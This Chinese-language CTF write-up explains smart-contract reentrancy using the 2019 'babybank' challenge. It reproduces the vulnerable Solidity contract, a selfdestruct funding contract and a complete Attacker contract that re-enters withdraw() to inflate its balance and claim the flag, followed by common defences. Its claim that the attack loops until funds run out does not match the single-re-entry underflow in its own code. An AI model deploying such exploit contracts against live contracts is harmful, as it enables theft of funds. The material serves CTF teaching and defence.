CTF技能宝典之智能合约#重入漏洞
字数 1359 2025-08-22 12:22:48
智能合约重入漏洞详解与CTF实战教学
一、重入漏洞概述
重入漏洞(Reentrancy Attack)是智能合约中最经典且危险的安全漏洞之一。该漏洞源于以太坊智能合约在执行外部调用时,会暂停当前合约的执行并转移控制权给被调用合约。如果攻击者精心构造恶意合约,可以在外部调用完成前重新进入原合约函数,从而绕过状态检查,实现重复提款等攻击。
二、漏洞原理分析
1. 关键问题点
重入漏洞通常出现在以下代码模式中:
function withdraw(uint amount) public {
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount)(); // 危险的外部调用
balance[msg.sender] -= amount; // 状态更新在调用之后
}
2. 漏洞触发机制
- 调用顺序问题:先转账后更新余额
- gas传递:使用
call.value()会传递所有剩余gas - fallback函数:攻击合约通过fallback函数实现递归调用
3. 与其他转账方式的对比
| 方法 | gas传递 | 是否触发重入 |
|---|---|---|
| transfer() | 固定2300gas | 不易重入 |
| send() | 固定2300gas | 不易重入 |
| call.value() | 传递所有gas | 容易重入 |
三、CTF题目分析(2019强网杯babybank)
1. 题目合约关键函数
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
// 目标函数
function payforflag(string md5ofteamtoken, string b64email) public {
require(balance[msg.sender] >= 10000000000);
balance[msg.sender] = 0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken, b64email);
}
// 重入漏洞点
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)();
balance[msg.sender] -= amount;
}
// 余额增加函数
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
}
2. 攻击路径分析
-
初始条件准备:
- 合约初始无ETH,需通过自毁合约强制转账
- 调用
profit()使balance=1, level=1 - 调用
guess()使balance=2, level=2(满足withdraw条件)
-
重入攻击实施:
- 调用
withdraw(2)触发重入 - 攻击合约fallback函数中再次调用
withdraw(2) - 循环直至合约余额耗尽
- 调用
-
获取flag:
- 余额达到10000000000后调用
payforflag()
- 余额达到10000000000后调用
四、完整攻击流程
1. 自毁合约注入ETH
pragma solidity ^0.4.24;
contract Abcc {
function kill() public payable {
selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}
}
操作步骤:
- 部署Abcc合约
- 调用kill()并附带0.2 ETH
2. 攻击合约编写
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract Attacker {
BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
uint private reentrancyGuard = 0;
function exploit() public payable {
// 1. 初始化条件
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
// 2. 触发重入攻击
target.withdraw(2);
// 3. 获取flag
target.payforflag("team_token_md5", "base64_email");
}
// 重入点
function() external payable {
require(reentrancyGuard == 0);
reentrancyGuard = 1;
target.withdraw(2);
reentrancyGuard = 0;
}
}
3. 攻击步骤
- 部署Attacker合约
- 调用exploit()函数
- 自动执行profit()和guess()
- 触发withdraw()开始重入攻击
- 最终调用payforflag()获取flag
五、防御措施
1. 检查-生效-交互模式(Checks-Effects-Interactions)
function secureWithdraw(uint amount) public {
// 检查
require(balance[msg.sender] >= amount);
// 生效
balance[msg.sender] -= amount;
// 交互
msg.sender.transfer(amount);
}
2. 重入锁
bool private locked = false;
function safeWithdraw(uint amount) public {
require(!locked, "Reentrancy detected");
require(balance[msg.sender] >= amount);
locked = true;
msg.sender.transfer(amount);
balance[msg.sender] -= amount;
locked = false;
}
3. 使用OpenZeppelin的ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureContract is ReentrancyGuard {
function safeWithdraw(uint amount) public nonReentrant {
// 安全操作
}
}
六、CTF解题技巧总结
- 逆向分析:当无源码时,使用反编译工具如EtherVM
- 条件追踪:分析所有require条件及状态变量
- 攻击链构造:
- 初始条件准备
- 漏洞触发点利用
- 最终目标达成
- 工具使用:
- Remix IDE进行合约交互
- Etherscan查看交易和事件
- 调试工具分析执行流程
七、扩展学习
- 经典重入攻击案例:The DAO攻击(2016)
- 其他变种:
- 跨函数重入
- 只读重入
- ERC777回调攻击
- 相关CTF题目:
- Ethernaut Level 10: Re-entrancy
- Capture The Ether: Account Takeover
通过本教程,您应该已经掌握了智能合约重入漏洞的原理、利用方法及防御措施。在实际CTF比赛中,重入漏洞常与其他漏洞组合出现,需要综合分析合约逻辑才能构造有效攻击链。